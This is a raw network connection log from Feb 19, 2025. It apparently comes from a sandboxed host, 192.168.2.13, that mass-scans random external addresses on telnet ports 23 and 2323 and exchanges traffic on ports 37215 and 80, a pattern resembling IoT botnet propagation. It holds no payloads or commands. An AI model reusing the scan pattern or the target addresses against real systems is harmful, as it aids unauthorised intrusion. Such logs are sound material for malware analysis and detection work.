Feb 19, 2025 19:43:17.976206064 CET	56524	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.976264954 CET	37962	37215	192.168.2.13	41.126.18.90
Feb 19, 2025 19:43:17.976285934 CET	80	58426	112.75.195.217	192.168.2.13
Feb 19, 2025 19:43:17.976294994 CET	37962	37215	192.168.2.13	41.126.18.90
Feb 19, 2025 19:43:17.976298094 CET	35108	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.976317883 CET	37215	37436	41.59.4.209	192.168.2.13
Feb 19, 2025 19:43:17.976347923 CET	37215	60438	41.152.169.55	192.168.2.13
Feb 19, 2025 19:43:17.976371050 CET	37436	37215	192.168.2.13	41.59.4.209
Feb 19, 2025 19:43:17.976377964 CET	37215	44096	41.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.976383924 CET	50526	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.976407051 CET	37215	48738	41.136.189.146	192.168.2.13
Feb 19, 2025 19:43:17.976435900 CET	80	51404	112.109.176.36	192.168.2.13
Feb 19, 2025 19:43:17.976459980 CET	37436	37215	192.168.2.13	41.59.4.209
Feb 19, 2025 19:43:17.976557970 CET	37436	37215	192.168.2.13	41.59.4.209
Feb 19, 2025 19:43:17.976576090 CET	58426	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.976576090 CET	60438	37215	192.168.2.13	41.152.169.55
Feb 19, 2025 19:43:17.976576090 CET	44096	37215	192.168.2.13	41.168.82.214
Feb 19, 2025 19:43:17.976576090 CET	48738	37215	192.168.2.13	41.136.189.146
Feb 19, 2025 19:43:17.976576090 CET	44096	37215	192.168.2.13	41.168.82.214
Feb 19, 2025 19:43:17.976576090 CET	60438	37215	192.168.2.13	41.152.169.55
Feb 19, 2025 19:43:17.976576090 CET	44096	37215	192.168.2.13	41.168.82.214
Feb 19, 2025 19:43:17.976597071 CET	60438	37215	192.168.2.13	41.152.169.55
Feb 19, 2025 19:43:17.976635933 CET	48738	37215	192.168.2.13	41.136.189.146
Feb 19, 2025 19:43:17.976644993 CET	80	51410	112.109.176.36	192.168.2.13
Feb 19, 2025 19:43:17.976658106 CET	48738	37215	192.168.2.13	41.136.189.146
Feb 19, 2025 19:43:17.976896048 CET	51410	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.977108002 CET	51410	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.977138996 CET	34848	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.977138996 CET	34848	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.977751017 CET	35462	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.978254080 CET	56524	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.978254080 CET	56524	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.978796005 CET	57158	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.979474068 CET	58426	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.979474068 CET	58426	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.979904890 CET	59060	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.979918957 CET	80	38358	112.55.84.21	192.168.2.13
Feb 19, 2025 19:43:17.979963064 CET	38358	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:17.980532885 CET	57752	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:17.980542898 CET	57752	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:17.980849028 CET	80	44540	112.126.188.55	192.168.2.13
Feb 19, 2025 19:43:17.980890989 CET	44540	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:17.980978966 CET	58384	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:17.981667995 CET	35108	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.981667995 CET	35108	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.981789112 CET	80	49910	112.41.67.178	192.168.2.13
Feb 19, 2025 19:43:17.981949091 CET	35740	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.982081890 CET	37215	37962	41.126.18.90	192.168.2.13
Feb 19, 2025 19:43:17.982098103 CET	80	50526	112.41.67.178	192.168.2.13
Feb 19, 2025 19:43:17.982141972 CET	50526	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.982158899 CET	37215	37436	41.59.4.209	192.168.2.13
Feb 19, 2025 19:43:17.982175112 CET	37215	44096	41.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.982187033 CET	37215	60438	41.152.169.55	192.168.2.13
Feb 19, 2025 19:43:17.982201099 CET	37215	48738	41.136.189.146	192.168.2.13
Feb 19, 2025 19:43:17.982445002 CET	80	34848	112.69.153.183	192.168.2.13
Feb 19, 2025 19:43:17.982496023 CET	33992	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.982510090 CET	33992	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.982914925 CET	34624	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.982943058 CET	80	51410	112.109.176.36	192.168.2.13
Feb 19, 2025 19:43:17.982958078 CET	80	51410	112.109.176.36	192.168.2.13
Feb 19, 2025 19:43:17.983071089 CET	51410	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:17.983105898 CET	80	35462	112.69.153.183	192.168.2.13
Feb 19, 2025 19:43:17.983237982 CET	35462	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.983485937 CET	55362	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:17.983514071 CET	55362	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:17.983689070 CET	80	56524	112.67.32.40	192.168.2.13
Feb 19, 2025 19:43:17.983927965 CET	55984	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:17.984200001 CET	80	57158	112.67.32.40	192.168.2.13
Feb 19, 2025 19:43:17.984245062 CET	57158	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.984627008 CET	80	58426	112.75.195.217	192.168.2.13
Feb 19, 2025 19:43:17.984642029 CET	57158	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.984667063 CET	50526	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.984697104 CET	35462	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.984997988 CET	80	59060	112.75.195.217	192.168.2.13
Feb 19, 2025 19:43:17.985481977 CET	80	57752	112.114.189.188	192.168.2.13
Feb 19, 2025 19:43:17.985517979 CET	59060	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.985517979 CET	59060	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.985948086 CET	80	58384	112.114.189.188	192.168.2.13
Feb 19, 2025 19:43:17.985987902 CET	58384	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:17.986006021 CET	58384	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:17.987813950 CET	80	35108	112.28.151.176	192.168.2.13
Feb 19, 2025 19:43:17.988681078 CET	80	35740	112.28.151.176	192.168.2.13
Feb 19, 2025 19:43:17.988694906 CET	80	33992	112.55.59.52	192.168.2.13
Feb 19, 2025 19:43:17.988763094 CET	35740	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.988775015 CET	35740	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.989064932 CET	80	34624	112.55.59.52	192.168.2.13
Feb 19, 2025 19:43:17.989079952 CET	80	55362	112.98.141.139	192.168.2.13
Feb 19, 2025 19:43:17.989093065 CET	80	55984	112.98.141.139	192.168.2.13
Feb 19, 2025 19:43:17.989104033 CET	34624	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.989120007 CET	55984	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:17.989140987 CET	34624	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.989164114 CET	55984	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:17.990550995 CET	80	57158	112.67.32.40	192.168.2.13
Feb 19, 2025 19:43:17.990565062 CET	80	50526	112.41.67.178	192.168.2.13
Feb 19, 2025 19:43:17.990609884 CET	57158	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:17.990618944 CET	50526	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:17.990709066 CET	80	46104	112.168.82.214	192.168.2.13
Feb 19, 2025 19:43:17.990722895 CET	80	35462	112.69.153.183	192.168.2.13
Feb 19, 2025 19:43:17.990756035 CET	35462	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:17.993046999 CET	80	59060	112.75.195.217	192.168.2.13
Feb 19, 2025 19:43:17.993062019 CET	80	58384	112.114.189.188	192.168.2.13
Feb 19, 2025 19:43:17.993098021 CET	58384	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:17.993112087 CET	59060	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:17.994811058 CET	80	35740	112.28.151.176	192.168.2.13
Feb 19, 2025 19:43:17.994823933 CET	80	55984	112.98.141.139	192.168.2.13
Feb 19, 2025 19:43:17.994862080 CET	35740	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:17.994949102 CET	80	34770	112.191.113.245	192.168.2.13
Feb 19, 2025 19:43:17.994962931 CET	80	53516	112.124.55.55	192.168.2.13
Feb 19, 2025 19:43:17.994975090 CET	80	34624	112.55.59.52	192.168.2.13
Feb 19, 2025 19:43:17.994987965 CET	80	34624	112.55.59.52	192.168.2.13
Feb 19, 2025 19:43:17.995023966 CET	34624	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:17.995089054 CET	80	55984	112.98.141.139	192.168.2.13
Feb 19, 2025 19:43:17.995126009 CET	55984	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:18.002094984 CET	24754	2323	192.168.2.13	36.2.110.223
Feb 19, 2025 19:43:18.002110004 CET	24754	23	192.168.2.13	70.253.251.78
Feb 19, 2025 19:43:18.002114058 CET	24754	23	192.168.2.13	183.101.26.91
Feb 19, 2025 19:43:18.002135038 CET	24754	23	192.168.2.13	122.164.125.175
Feb 19, 2025 19:43:18.002176046 CET	24754	23	192.168.2.13	96.65.132.21
Feb 19, 2025 19:43:18.002198935 CET	24754	23	192.168.2.13	172.46.117.178
Feb 19, 2025 19:43:18.002199888 CET	24754	23	192.168.2.13	185.79.232.209
Feb 19, 2025 19:43:18.002198935 CET	24754	23	192.168.2.13	104.83.157.56
Feb 19, 2025 19:43:18.002201080 CET	24754	23	192.168.2.13	218.127.102.182
Feb 19, 2025 19:43:18.002199888 CET	24754	23	192.168.2.13	151.172.204.60
Feb 19, 2025 19:43:18.002202988 CET	24754	2323	192.168.2.13	201.168.146.77
Feb 19, 2025 19:43:18.002203941 CET	24754	23	192.168.2.13	190.9.213.197
Feb 19, 2025 19:43:18.002203941 CET	24754	23	192.168.2.13	177.59.45.84
Feb 19, 2025 19:43:18.002208948 CET	24754	23	192.168.2.13	48.224.33.79
Feb 19, 2025 19:43:18.002208948 CET	24754	23	192.168.2.13	96.74.172.196
Feb 19, 2025 19:43:18.002211094 CET	24754	23	192.168.2.13	113.247.46.253
Feb 19, 2025 19:43:18.002221107 CET	24754	2323	192.168.2.13	151.132.4.108
Feb 19, 2025 19:43:18.002221107 CET	24754	23	192.168.2.13	130.233.157.198
Feb 19, 2025 19:43:18.002227068 CET	24754	23	192.168.2.13	93.172.126.136
Feb 19, 2025 19:43:18.002228022 CET	24754	23	192.168.2.13	162.166.157.206
Feb 19, 2025 19:43:18.002232075 CET	24754	23	192.168.2.13	137.33.70.59
Feb 19, 2025 19:43:18.002232075 CET	24754	23	192.168.2.13	14.168.43.200
Feb 19, 2025 19:43:18.002232075 CET	24754	23	192.168.2.13	54.90.90.118
Feb 19, 2025 19:43:18.002233982 CET	24754	23	192.168.2.13	134.240.167.184
Feb 19, 2025 19:43:18.002233982 CET	24754	23	192.168.2.13	44.134.63.32
Feb 19, 2025 19:43:18.002233982 CET	24754	23	192.168.2.13	67.163.62.168
Feb 19, 2025 19:43:18.002233982 CET	24754	23	192.168.2.13	66.173.17.11
Feb 19, 2025 19:43:18.002233982 CET	24754	23	192.168.2.13	20.171.194.110
Feb 19, 2025 19:43:18.002233982 CET	24754	23	192.168.2.13	190.85.187.187
Feb 19, 2025 19:43:18.002233982 CET	24754	23	192.168.2.13	42.86.64.37
Feb 19, 2025 19:43:18.002263069 CET	24754	23	192.168.2.13	149.202.91.153
Feb 19, 2025 19:43:18.002269030 CET	24754	23	192.168.2.13	152.202.40.179
Feb 19, 2025 19:43:18.002269030 CET	24754	23	192.168.2.13	207.166.104.27
Feb 19, 2025 19:43:18.002269983 CET	24754	23	192.168.2.13	121.99.188.122
Feb 19, 2025 19:43:18.002269983 CET	24754	2323	192.168.2.13	114.181.208.6
Feb 19, 2025 19:43:18.002269983 CET	24754	23	192.168.2.13	196.109.161.250
Feb 19, 2025 19:43:18.002269983 CET	24754	23	192.168.2.13	40.250.173.178
Feb 19, 2025 19:43:18.002269983 CET	24754	23	192.168.2.13	220.187.35.4
Feb 19, 2025 19:43:18.002274990 CET	24754	23	192.168.2.13	99.88.118.39
Feb 19, 2025 19:43:18.002274990 CET	24754	23	192.168.2.13	143.22.2.145
Feb 19, 2025 19:43:18.002274990 CET	24754	23	192.168.2.13	99.192.123.205
Feb 19, 2025 19:43:18.002274990 CET	24754	23	192.168.2.13	87.23.56.118
Feb 19, 2025 19:43:18.002274990 CET	24754	23	192.168.2.13	38.224.164.56
Feb 19, 2025 19:43:18.002276897 CET	24754	23	192.168.2.13	204.170.12.76
Feb 19, 2025 19:43:18.002275944 CET	24754	23	192.168.2.13	114.207.48.149
Feb 19, 2025 19:43:18.002279043 CET	24754	23	192.168.2.13	223.26.101.210
Feb 19, 2025 19:43:18.002279997 CET	24754	23	192.168.2.13	195.34.210.83
Feb 19, 2025 19:43:18.002280951 CET	24754	23	192.168.2.13	104.62.131.244
Feb 19, 2025 19:43:18.002279997 CET	24754	23	192.168.2.13	222.32.216.44
Feb 19, 2025 19:43:18.002279043 CET	24754	23	192.168.2.13	200.40.71.73
Feb 19, 2025 19:43:18.002279997 CET	24754	23	192.168.2.13	106.134.183.166
Feb 19, 2025 19:43:18.002280951 CET	24754	23	192.168.2.13	118.97.119.35
Feb 19, 2025 19:43:18.002279043 CET	24754	23	192.168.2.13	36.189.157.220
Feb 19, 2025 19:43:18.002279997 CET	24754	23	192.168.2.13	171.33.250.195
Feb 19, 2025 19:43:18.002279997 CET	24754	23	192.168.2.13	63.107.108.30
Feb 19, 2025 19:43:18.002279997 CET	24754	2323	192.168.2.13	132.35.232.15
Feb 19, 2025 19:43:18.002279997 CET	24754	2323	192.168.2.13	136.79.174.235
Feb 19, 2025 19:43:18.002279997 CET	24754	23	192.168.2.13	92.130.149.228
Feb 19, 2025 19:43:18.002300024 CET	24754	2323	192.168.2.13	19.195.161.196
Feb 19, 2025 19:43:18.002300024 CET	24754	23	192.168.2.13	102.49.220.177
Feb 19, 2025 19:43:18.002300024 CET	24754	23	192.168.2.13	46.48.94.251
Feb 19, 2025 19:43:18.002300024 CET	24754	2323	192.168.2.13	122.204.140.64
Feb 19, 2025 19:43:18.002300024 CET	24754	23	192.168.2.13	182.64.22.121
Feb 19, 2025 19:43:18.002302885 CET	24754	23	192.168.2.13	64.149.146.73
Feb 19, 2025 19:43:18.002302885 CET	24754	23	192.168.2.13	136.57.203.198
Feb 19, 2025 19:43:18.002302885 CET	24754	23	192.168.2.13	180.101.240.31
Feb 19, 2025 19:43:18.002305031 CET	24754	23	192.168.2.13	108.75.253.65
Feb 19, 2025 19:43:18.002305031 CET	24754	23	192.168.2.13	213.90.251.44
Feb 19, 2025 19:43:18.002305984 CET	24754	23	192.168.2.13	141.112.99.19
Feb 19, 2025 19:43:18.002305984 CET	24754	23	192.168.2.13	100.140.3.62
Feb 19, 2025 19:43:18.002305984 CET	24754	2323	192.168.2.13	45.13.127.45
Feb 19, 2025 19:43:18.002305031 CET	24754	23	192.168.2.13	74.27.202.82
Feb 19, 2025 19:43:18.002306938 CET	24754	23	192.168.2.13	52.219.211.87
Feb 19, 2025 19:43:18.002305984 CET	24754	23	192.168.2.13	71.76.47.46
Feb 19, 2025 19:43:18.002326965 CET	24754	23	192.168.2.13	193.232.8.38
Feb 19, 2025 19:43:18.002326965 CET	24754	23	192.168.2.13	113.105.135.57
Feb 19, 2025 19:43:18.002327919 CET	24754	23	192.168.2.13	158.136.114.160
Feb 19, 2025 19:43:18.002334118 CET	24754	23	192.168.2.13	41.41.65.185
Feb 19, 2025 19:43:18.002334118 CET	24754	23	192.168.2.13	71.1.103.19
Feb 19, 2025 19:43:18.002334118 CET	24754	23	192.168.2.13	72.47.250.127
Feb 19, 2025 19:43:18.002336025 CET	24754	23	192.168.2.13	173.195.191.86
Feb 19, 2025 19:43:18.002336979 CET	24754	23	192.168.2.13	45.41.97.160
Feb 19, 2025 19:43:18.002336025 CET	24754	23	192.168.2.13	181.91.166.211
Feb 19, 2025 19:43:18.002336979 CET	24754	23	192.168.2.13	140.48.247.131
Feb 19, 2025 19:43:18.002336025 CET	24754	23	192.168.2.13	81.156.177.145
Feb 19, 2025 19:43:18.002337933 CET	24754	23	192.168.2.13	8.227.38.206
Feb 19, 2025 19:43:18.002337933 CET	24754	23	192.168.2.13	170.145.30.122
Feb 19, 2025 19:43:18.002337933 CET	24754	23	192.168.2.13	155.90.179.15
Feb 19, 2025 19:43:18.002337933 CET	24754	23	192.168.2.13	100.13.31.38
Feb 19, 2025 19:43:18.002340078 CET	24754	23	192.168.2.13	70.43.0.138
Feb 19, 2025 19:43:18.002337933 CET	24754	23	192.168.2.13	25.231.116.211
Feb 19, 2025 19:43:18.002337933 CET	24754	23	192.168.2.13	39.112.244.147
Feb 19, 2025 19:43:18.002340078 CET	24754	2323	192.168.2.13	97.244.232.193
Feb 19, 2025 19:43:18.002340078 CET	24754	23	192.168.2.13	95.139.186.13
Feb 19, 2025 19:43:18.002340078 CET	24754	23	192.168.2.13	92.157.190.149
Feb 19, 2025 19:43:18.002340078 CET	24754	23	192.168.2.13	128.253.91.107
Feb 19, 2025 19:43:18.002340078 CET	24754	23	192.168.2.13	175.250.24.162
Feb 19, 2025 19:43:18.002356052 CET	24754	23	192.168.2.13	60.161.241.234
Feb 19, 2025 19:43:18.002356052 CET	24754	23	192.168.2.13	112.14.171.181
Feb 19, 2025 19:43:18.002361059 CET	24754	23	192.168.2.13	168.13.191.232
Feb 19, 2025 19:43:18.002362013 CET	24754	23	192.168.2.13	18.60.147.99
Feb 19, 2025 19:43:18.002361059 CET	24754	23	192.168.2.13	203.47.148.85
Feb 19, 2025 19:43:18.002362967 CET	24754	23	192.168.2.13	18.12.143.62
Feb 19, 2025 19:43:18.002362967 CET	24754	23	192.168.2.13	172.71.229.186
Feb 19, 2025 19:43:18.002362967 CET	24754	23	192.168.2.13	182.5.0.88
Feb 19, 2025 19:43:18.002362967 CET	24754	23	192.168.2.13	97.23.184.105
Feb 19, 2025 19:43:18.002362967 CET	24754	23	192.168.2.13	184.161.213.201
Feb 19, 2025 19:43:18.002362967 CET	24754	2323	192.168.2.13	36.17.33.155
Feb 19, 2025 19:43:18.002365112 CET	24754	23	192.168.2.13	157.128.109.48
Feb 19, 2025 19:43:18.002365112 CET	24754	2323	192.168.2.13	136.161.188.102
Feb 19, 2025 19:43:18.002365112 CET	24754	23	192.168.2.13	157.99.95.49
Feb 19, 2025 19:43:18.002366066 CET	24754	23	192.168.2.13	121.104.59.119
Feb 19, 2025 19:43:18.002366066 CET	24754	23	192.168.2.13	212.43.151.19
Feb 19, 2025 19:43:18.002367020 CET	24754	23	192.168.2.13	67.160.162.61
Feb 19, 2025 19:43:18.002367020 CET	24754	2323	192.168.2.13	162.239.187.73
Feb 19, 2025 19:43:18.002367020 CET	24754	23	192.168.2.13	59.160.155.172
Feb 19, 2025 19:43:18.002374887 CET	24754	23	192.168.2.13	80.213.136.75
Feb 19, 2025 19:43:18.002374887 CET	24754	23	192.168.2.13	185.128.211.253
Feb 19, 2025 19:43:18.002384901 CET	24754	23	192.168.2.13	4.84.221.96
Feb 19, 2025 19:43:18.002384901 CET	24754	23	192.168.2.13	62.69.178.44
Feb 19, 2025 19:43:18.002384901 CET	24754	23	192.168.2.13	199.42.160.167
Feb 19, 2025 19:43:18.002384901 CET	24754	23	192.168.2.13	32.52.144.189
Feb 19, 2025 19:43:18.002388000 CET	24754	23	192.168.2.13	206.70.21.189
Feb 19, 2025 19:43:18.002388000 CET	24754	23	192.168.2.13	54.144.153.168
Feb 19, 2025 19:43:18.002388000 CET	24754	23	192.168.2.13	169.205.156.229
Feb 19, 2025 19:43:18.002393007 CET	24754	23	192.168.2.13	159.252.60.82
Feb 19, 2025 19:43:18.002393007 CET	24754	23	192.168.2.13	138.164.68.7
Feb 19, 2025 19:43:18.002393007 CET	24754	23	192.168.2.13	151.11.20.242
Feb 19, 2025 19:43:18.002393961 CET	24754	23	192.168.2.13	129.21.2.212
Feb 19, 2025 19:43:18.002393961 CET	24754	23	192.168.2.13	110.130.11.203
Feb 19, 2025 19:43:18.002393961 CET	24754	23	192.168.2.13	88.204.101.212
Feb 19, 2025 19:43:18.002394915 CET	24754	23	192.168.2.13	35.96.83.160
Feb 19, 2025 19:43:18.002393007 CET	24754	2323	192.168.2.13	145.79.92.140
Feb 19, 2025 19:43:18.002393007 CET	24754	23	192.168.2.13	35.136.8.137
Feb 19, 2025 19:43:18.002408981 CET	24754	23	192.168.2.13	152.214.14.48
Feb 19, 2025 19:43:18.002408981 CET	24754	23	192.168.2.13	202.133.122.227
Feb 19, 2025 19:43:18.002408981 CET	24754	23	192.168.2.13	134.202.253.42
Feb 19, 2025 19:43:18.002417088 CET	24754	23	192.168.2.13	191.152.40.14
Feb 19, 2025 19:43:18.002417088 CET	24754	23	192.168.2.13	203.150.194.95
Feb 19, 2025 19:43:18.002418041 CET	24754	23	192.168.2.13	139.187.34.146
Feb 19, 2025 19:43:18.002418041 CET	24754	23	192.168.2.13	191.59.181.212
Feb 19, 2025 19:43:18.002419949 CET	24754	23	192.168.2.13	134.213.36.201
Feb 19, 2025 19:43:18.002419949 CET	24754	2323	192.168.2.13	36.57.169.237
Feb 19, 2025 19:43:18.002419949 CET	24754	23	192.168.2.13	139.26.162.23
Feb 19, 2025 19:43:18.002419949 CET	24754	23	192.168.2.13	83.194.206.38
Feb 19, 2025 19:43:18.002419949 CET	24754	23	192.168.2.13	94.65.52.91
Feb 19, 2025 19:43:18.002419949 CET	24754	23	192.168.2.13	185.180.101.243
Feb 19, 2025 19:43:18.002419949 CET	24754	23	192.168.2.13	163.171.186.156
Feb 19, 2025 19:43:18.002432108 CET	24754	23	192.168.2.13	193.132.25.46
Feb 19, 2025 19:43:18.002432108 CET	24754	23	192.168.2.13	191.185.88.2
Feb 19, 2025 19:43:18.002432108 CET	24754	23	192.168.2.13	40.21.27.225
Feb 19, 2025 19:43:18.002432108 CET	24754	23	192.168.2.13	149.107.84.175
Feb 19, 2025 19:43:18.002432108 CET	24754	23	192.168.2.13	39.29.236.199
Feb 19, 2025 19:43:18.002445936 CET	24754	23	192.168.2.13	149.93.142.41
Feb 19, 2025 19:43:18.002445936 CET	24754	23	192.168.2.13	163.185.84.29
Feb 19, 2025 19:43:18.002445936 CET	24754	23	192.168.2.13	159.170.58.36
Feb 19, 2025 19:43:18.002446890 CET	24754	23	192.168.2.13	197.221.59.101
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	130.24.101.176
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	150.185.42.97
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	123.157.10.244
Feb 19, 2025 19:43:18.002449989 CET	24754	23	192.168.2.13	107.223.18.109
Feb 19, 2025 19:43:18.002449989 CET	24754	23	192.168.2.13	173.191.3.161
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	116.199.124.200
Feb 19, 2025 19:43:18.002449989 CET	24754	2323	192.168.2.13	9.175.229.118
Feb 19, 2025 19:43:18.002449036 CET	24754	2323	192.168.2.13	143.164.165.34
Feb 19, 2025 19:43:18.002449989 CET	24754	23	192.168.2.13	17.205.194.73
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	218.159.80.181
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	17.117.179.135
Feb 19, 2025 19:43:18.002449989 CET	24754	23	192.168.2.13	87.243.248.89
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	101.5.65.154
Feb 19, 2025 19:43:18.002449036 CET	24754	23	192.168.2.13	52.29.106.119
Feb 19, 2025 19:43:18.002466917 CET	24754	2323	192.168.2.13	52.70.191.201
Feb 19, 2025 19:43:18.002468109 CET	24754	23	192.168.2.13	212.41.161.128
Feb 19, 2025 19:43:18.002468109 CET	24754	23	192.168.2.13	182.28.30.163
Feb 19, 2025 19:43:18.002469063 CET	24754	23	192.168.2.13	166.152.0.184
Feb 19, 2025 19:43:18.002468109 CET	24754	23	192.168.2.13	101.180.239.5
Feb 19, 2025 19:43:18.002468109 CET	24754	23	192.168.2.13	38.75.237.30
Feb 19, 2025 19:43:18.002471924 CET	24754	23	192.168.2.13	138.16.52.17
Feb 19, 2025 19:43:18.002468109 CET	24754	23	192.168.2.13	101.141.39.229
Feb 19, 2025 19:43:18.002468109 CET	24754	23	192.168.2.13	25.185.57.92
Feb 19, 2025 19:43:18.002468109 CET	24754	23	192.168.2.13	164.91.219.61
Feb 19, 2025 19:43:18.002473116 CET	24754	23	192.168.2.13	17.16.174.234
Feb 19, 2025 19:43:18.002475023 CET	24754	23	192.168.2.13	151.143.71.197
Feb 19, 2025 19:43:18.002475023 CET	24754	2323	192.168.2.13	78.97.206.17
Feb 19, 2025 19:43:18.002480984 CET	24754	23	192.168.2.13	4.237.39.130
Feb 19, 2025 19:43:18.002480984 CET	24754	23	192.168.2.13	37.192.202.140
Feb 19, 2025 19:43:18.002480984 CET	24754	23	192.168.2.13	38.45.16.35
Feb 19, 2025 19:43:18.002480984 CET	24754	23	192.168.2.13	118.185.189.78
Feb 19, 2025 19:43:18.002480984 CET	24754	23	192.168.2.13	170.168.80.56
Feb 19, 2025 19:43:18.002480984 CET	24754	23	192.168.2.13	110.115.76.65
Feb 19, 2025 19:43:18.002480984 CET	24754	2323	192.168.2.13	142.62.217.144
Feb 19, 2025 19:43:18.002485037 CET	24754	23	192.168.2.13	204.137.30.237
Feb 19, 2025 19:43:18.002485991 CET	24754	23	192.168.2.13	115.50.49.184
Feb 19, 2025 19:43:18.002485991 CET	24754	23	192.168.2.13	123.25.57.152
Feb 19, 2025 19:43:18.002490997 CET	24754	23	192.168.2.13	61.6.103.83
Feb 19, 2025 19:43:18.002492905 CET	24754	23	192.168.2.13	132.50.13.24
Feb 19, 2025 19:43:18.002492905 CET	24754	23	192.168.2.13	170.200.71.150
Feb 19, 2025 19:43:18.002492905 CET	24754	23	192.168.2.13	149.117.11.99
Feb 19, 2025 19:43:18.002494097 CET	24754	23	192.168.2.13	32.89.125.36
Feb 19, 2025 19:43:18.002494097 CET	24754	23	192.168.2.13	92.237.214.87
Feb 19, 2025 19:43:18.002494097 CET	24754	23	192.168.2.13	39.186.95.244
Feb 19, 2025 19:43:18.002496958 CET	24754	23	192.168.2.13	59.229.134.178
Feb 19, 2025 19:43:18.002504110 CET	24754	23	192.168.2.13	126.215.189.27
Feb 19, 2025 19:43:18.002504110 CET	24754	23	192.168.2.13	104.191.231.88
Feb 19, 2025 19:43:18.002506971 CET	24754	23	192.168.2.13	199.61.43.75
Feb 19, 2025 19:43:18.002506971 CET	24754	23	192.168.2.13	84.210.16.244
Feb 19, 2025 19:43:18.002507925 CET	24754	23	192.168.2.13	138.195.129.66
Feb 19, 2025 19:43:18.002506971 CET	24754	23	192.168.2.13	173.94.71.142
Feb 19, 2025 19:43:18.002507925 CET	24754	23	192.168.2.13	104.206.156.73
Feb 19, 2025 19:43:18.002507925 CET	24754	23	192.168.2.13	211.27.206.55
Feb 19, 2025 19:43:18.002511024 CET	24754	2323	192.168.2.13	173.187.43.64
Feb 19, 2025 19:43:18.002511024 CET	24754	23	192.168.2.13	23.232.212.58
Feb 19, 2025 19:43:18.002511978 CET	24754	2323	192.168.2.13	50.60.251.118
Feb 19, 2025 19:43:18.002511978 CET	24754	23	192.168.2.13	182.43.41.181
Feb 19, 2025 19:43:18.002537966 CET	24754	23	192.168.2.13	222.3.69.198
Feb 19, 2025 19:43:18.002537966 CET	24754	23	192.168.2.13	164.233.35.42
Feb 19, 2025 19:43:18.002537966 CET	24754	23	192.168.2.13	125.121.60.82
Feb 19, 2025 19:43:18.002540112 CET	24754	2323	192.168.2.13	48.124.211.201
Feb 19, 2025 19:43:18.002540112 CET	24754	23	192.168.2.13	134.198.129.26
Feb 19, 2025 19:43:18.002541065 CET	24754	23	192.168.2.13	19.150.167.41
Feb 19, 2025 19:43:18.002543926 CET	24754	23	192.168.2.13	136.207.235.17
Feb 19, 2025 19:43:18.002542019 CET	24754	23	192.168.2.13	19.82.144.186
Feb 19, 2025 19:43:18.002541065 CET	24754	23	192.168.2.13	140.108.66.184
Feb 19, 2025 19:43:18.002542019 CET	24754	2323	192.168.2.13	169.50.121.207
Feb 19, 2025 19:43:18.002541065 CET	24754	23	192.168.2.13	108.59.249.80
Feb 19, 2025 19:43:18.002543926 CET	24754	23	192.168.2.13	36.101.182.181
